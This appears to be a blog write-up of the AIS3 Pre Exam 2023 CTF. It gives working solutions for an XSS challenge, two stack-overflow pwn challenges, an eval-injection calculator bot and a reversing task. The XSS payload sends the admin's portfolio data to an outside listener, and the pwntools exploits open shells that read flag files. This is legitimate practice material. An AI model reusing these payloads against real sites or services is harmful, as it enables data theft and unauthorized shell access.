AIS3 Pre Exam 2023 Writeup

Welcome

題目

解題

讀一下 pdf

E-Portfolio baby

題目

解題

網頁進來是登入介面

About 那邊可以放 html 看起來可以 XSS

測一下

看起來可以

用 flask 隨便寫個 server 聽 request

#!/usr/bin/env python3

from flask import Flask,request,redirect,Response


app = Flask(__name__)

@app.route('/',methods=['GET'])
def data():
    print(request.args)
    return "aaa"


if __name__ == "__main__":
    app.run(host="0.0.0.0",port=80)

payload

<h5>Hello!</h5>
I am a <span style="color: red;">new</span> user.

<img src=x onerror='fetch("/api/portfolio").then(res => res.json()).then(data => {fetch(`http://10.113.193.20?${new URLSearchParams(data.data)}`)})'/>

送去給 admin

然後就收到 flag 了

Flag

AIS3{<img src=x onerror='fetch(...}

ManagementSystem

題目

解題

IDA 打開
人真好有給 shell code
每個 user 的 function 找一遍後發現 delete_user 有用 gets，可以 stack overflow，先讓他跑到 "Invalid index." 感覺問題比較少。
找 shell code 的位置
exploit

import pwn
import re
import sys

r = pwn.remote('chals1.ais3.org', 10003)

print(r.recvrepeat(timeout=1).decode())
r.sendline(b'3')
print(r.recvrepeat(timeout=1).decode())
r.sendline(b'-1' + b'x'*(8*13-2) + int('40131B', 16).to_bytes(3, 'little'))

while True:
    print(r.recvrepeat(timeout=1).decode(), end='')
    print('> ', end='')
    r.send(input().encode())
#    r.send(sys.stdin.buffer.read())

chummy@hitcon:~/ais3preexam2023$ python3 mansysexp.py                                                                                                                                                    [11/294][+] Opening connection to chals1.ais3.org on port 10003: Done
Choose an option:
1. Add user
2. Show users
3. Delete user
4. Exit
>
Enter the index of the user you want to delete:
Invalid index.
Congratulations! You've successfully executed the secret function.
> ls
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
> ls /home/chal
Makefile
flag.txt
ms
ms.c
run.sh
> cat /home/chal/flag.txt
FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}
> exit
>
>
[*] Closed connection to chals1.ais3.org port 10003
Traceback (most recent call last):
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 65, in send_raw
    self.sock.sendall(data)
BrokenPipeError: [Errno 32] Broken pipe

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/chummy/ais3preexam2023/mansysexp.py", line 15, in <module>
    r.send(input().encode())
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 778, in send
    self.send_raw(data)
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 70, in send_raw
    raise EOFError
EOFError

Flag

FLAG{C0n6r47ul4710n5_0n_cr4ck1n6_7h15_pr09r4m_!!_!!_!}

Robot

題目

解題

import pwn
import re

r = pwn.remote('chals1.ais3.org', 12348)

r.recvline()
r.recvline()

while True:
    now = r.recv(timeout=1)
    print(now.decode().strip())
    groups = re.match(b'\s*(\d*)\s*([^\s\d]*)\s*(\d*)', now)
    ans = b''
    if groups.group(2) in b'+-*/':
        ans = str(eval(f'{groups.group(1).decode()}{groups.group(2).decode()}{groups.group(3).decode()}')).encode()
        print(f'ans: {ans.decode()}')
        r.sendline(ans)
    else:
        print('bad')

chummy@hitcon:~/ais3preexam2023$ python3 robotexp.py                                                                                                                                                      [30/53][+] Opening connection to chals1.ais3.org on port 12348: Done
9  +  8
ans: 17
8+9
ans: 17
8        +        5
ans: 13
1  *  5
ans: 5
9 + 7
ans: 16
2 + 4
ans: 6
3  *  9
ans: 27
10+6
ans: 16
6  +  10
ans: 16
3 * 3
ans: 9
6*9
ans: 54
3 * 8
ans: 24
8*7
ans: 56
8 * 1
ans: 8
6    +    3
ans: 9
9     +     7
ans: 16
1*1
ans: 1
3     *     4
ans: 12
6 + 4
ans: 10
7     *     9
ans: 63
3     +     9
ans: 12
8  +  2
ans: 10
1+1
ans: 2
9     *     3
ans: 27
3  *  2
ans: 6
6*2
ans: 12
6+5
ans: 11
1+2
ans: 3
7  *  2
ans: 14
print('Segmentation fault (core dumped)'), exit(139)
bad
6  *  4
ans: 24
Congratulations! Flag: AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}
bad
Traceback (most recent call last):
  File "/home/chummy/ais3preexam2023/robotexp.py", line 10, in <module>
    now = r.recv(timeout=1)
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 104, in recv
    return self._recv(numb, timeout) or b''
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 174, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 153, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 56, in recv_raw
    raise EOFError
EOFError
[*] Closed connection to chals1.ais3.org port 12348

Flag

AIS3{don't_eval_unknown_code_or_pipe_curl_to_sh}

SimplyPwn

題目

解題

IDA 打開
人真好有給 shell code
array 最長 64 bytes 然後 read 256 bytes 一臉就會 stack overflow.
找 shell code 的位置
exploit

import pwn
import re
import sys

r = pwn.remote('chals1.ais3.org', 11111)

print(r.recvrepeat(timeout=1).decode())
r.send(b'x'*(8*10-1) + int('4017A9', 16).to_bytes(3, 'little'))
r.recvrepeat(timeout=1)

while True:
    print(r.recvrepeat(timeout=1).decode(), end='')
    print('> ', end='')
    r.send(input().encode())
#    r.send(sys.stdin.buffer.read())

chummy@hitcon:~/ais3preexam2023$ python3 simpwnexp.py
[+] Opening connection to chals1.ais3.org on port 11111: Done
Show me your name:
> ls
FLAG
bin
boot
dev
etc
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
runtime
sbin
srv
sys
tmp
usr
var
> cat FLAG
AIS3{5imP1e_Pwn_4_beGinn3rs!}
> exit
>
>
[*] Closed connection to chals1.ais3.org port 11111
Traceback (most recent call last):
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 65, in send_raw
    self.sock.sendall(data)
BrokenPipeError: [Errno 32] Broken pipe

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/home/chummy/ais3preexam2023/simpwnexp.py", line 14, in <module>
    r.send(input().encode())
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/tube.py", line 778, in send
    self.send_raw(data)
  File "/home/chummy/.local/lib/python3.9/site-packages/pwnlib/tubes/sock.py", line 70, in send_raw
    raise EOFError
EOFError

Flag

AIS3{5imP1e_Pwn_4_beGinn3rs!}

Simply Reverse

題目

解題

IDA 打開
讀 verify
看起來是把 encrypted 依照 index 做 rotation 就會得到 flag
找 encrypted 的位置把 hex 複製下來
然後寫 code 算回來

import sys
def rotation(nowbyte, length):
    return (((nowbyte >> length) & 255) | ((nowbyte << (8 - length)) & 255)) & 255

enbytes = bytes.fromhex("8A5092C8063D5B95B6521B35825AEAF8942872DDD45DE329BA5852A8643581AC0A64")

ansbytes = []
for i in range(len(enbytes)):
    usebyte = enbytes[i] - 8
    if usebyte < 0:
        usebyte += 2**8
    ansbytes.append((rotation(usebyte, (i ^ 9) & 3) ^ i) & 255)

sys.stdout.buffer.write(bytes(ansbytes))
#print(bytes(ansbytes))

Flag

AIS3{0ld_Ch@1_R3V1_fr@m_AIS32016!}

AIS3 Pre Exam 2023 Writeup

Welcome

題目

解題

E-Portfolio baby

題目

解題

Flag

ManagementSystem

題目

解題

Flag

Robot

題目

解題

Flag

SimplyPwn

題目

解題

Flag

Simply Reverse

題目

解題

Flag

交大碩士推甄

HITCON CTF 2024 Final 心得

HITCON CTF 2024 Writeup